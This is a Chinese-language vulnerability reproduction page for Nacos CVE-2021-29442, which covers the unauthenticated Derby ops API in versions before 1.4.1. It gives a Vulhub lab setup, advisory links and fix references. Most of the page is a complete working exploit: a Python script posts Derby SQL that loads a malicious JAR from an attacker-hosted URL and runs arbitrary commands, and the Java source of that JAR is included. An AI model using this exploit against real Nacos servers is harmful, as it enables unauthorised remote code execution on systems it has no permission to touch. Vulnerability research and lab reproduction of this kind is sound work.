Nacos 未授权接口命令执行漏洞 CVE-2021-29442
漏洞描述
Nacos 是一个设计用于动态服务发现、配置和服务管理的易于使用的平台。
在 Nacos 1.4.1 之前的版本中,一些 API 端点(如 /nacos/v1/cs/ops/derby
)可以默认没有鉴权,可以被未经身份验证的用户公开访问。攻击者可以利用该漏洞执行任意 Derby SQL 语句和 Java 代码。
参考链接:
- https://github.com/advisories/GHSA-xv5h-v7jh-p2qh
- https://github.com/alibaba/nacos/issues/4463
- http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce
- https://nacos-group.github.io/blog/announcement-derby-ops-api/?source=news/
- https://nacos.io/zh-cn/docs/v2/guide/user/auth.html
漏洞影响
Nacos未鉴权(Nacos<1.4.1)且使用Derby数据库作为内置数据源
环境搭建
Vulhub 执行如下命令启动一个 Alibaba Nacos 1.4.0 服务器:
docker compose up -d
服务器启动后,访问 http://your-ip:8848/nacos/
可以看到 Nacos 的默认登录页面。
漏洞复现
将恶意 JAR 包 evil.jar 上传到攻击者的 HTTP 服务器上,例如 http://some-webserver/evil.jar
。
执行 POC:
python poc.py -t http://your-ip:8848 -s http://some-webserver/evil.jar -c "id"
-t
参数指定目标地址,-s
参数指定恶意 JAR 包的地址,-c
参数指定要执行的命令。
漏洞 POC
poc.py
python
import random
import sys
import requests
from urllib.parse import urljoin
import argparse
def exploit(target, command, service):
removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
for i in range(0, sys.maxsize):
id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
post_sql = f"""CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath', 'NACOS.{id}')
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
"""
get_sql = f"select * from (select count(*) as b, S_EXAMPLE_{id}('{command}') as a from config_info) tmp"
files = {'file': post_sql}
post_resp = requests.post(url=removal_url, files=files)
post_json = post_resp.json()
if post_json.get('message', None) is None and post_json.get('data', None) is not None:
print(post_resp.text)
get_resp = requests.get(url=derby_url, params={'sql': get_sql})
print(get_resp.text)
break
def main():
parser = argparse.ArgumentParser(description='Exploit script for Nacos CVE-2021-29442')
parser.add_argument('-t', '--target', required=True, help='Target URL')
parser.add_argument('-c', '--command', required=True, help='Command to execute')
parser.add_argument('-s', '--service', required=True, help='Service URL')
args = parser.parse_args()
exploit(args.target, args.command, args.service)
if __name__ == '__main__':
main()
evil.jar
package test.poc;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.io.StringWriter;
public class Example {
public static void main(String[] args) {
String ret = exec("ipconfig");
System.out.println(ret);
}
public static String exec(String cmd) {
StringBuffer bf = new StringBuffer();
try {
String charset = "utf-8";
String osName = System.getProperty("os.name");
if (osName != null && osName.startsWith("Windows"))
charset = "gbk";
Process p = Runtime.getRuntime().exec(cmd);
InputStream fis = p.getInputStream();
InputStreamReader isr = new InputStreamReader(fis, charset);
BufferedReader br = new BufferedReader(isr);
String line = null;
while ((line = br.readLine()) != null)
bf.append(line);
} catch (Exception e) {
StringWriter writer = new StringWriter();
PrintWriter printer = new PrintWriter(writer);
e.printStackTrace(printer);
try {
writer.close();
printer.close();
} catch (IOException iOException) {}
return "ERROR:" + writer.toString();
}
return bf.toString();
}
}
漏洞修复
- https://nacos-group.github.io/blog/announcement-derby-ops-api/?source=news/ 关于 Nacos Derby 数据库运维接口
/nacos/v1/cs/ops/derby
相关问题公告 - https://nacos.io/zh-cn/docs/v2/guide/user/auth.html Nacos 鉴权文档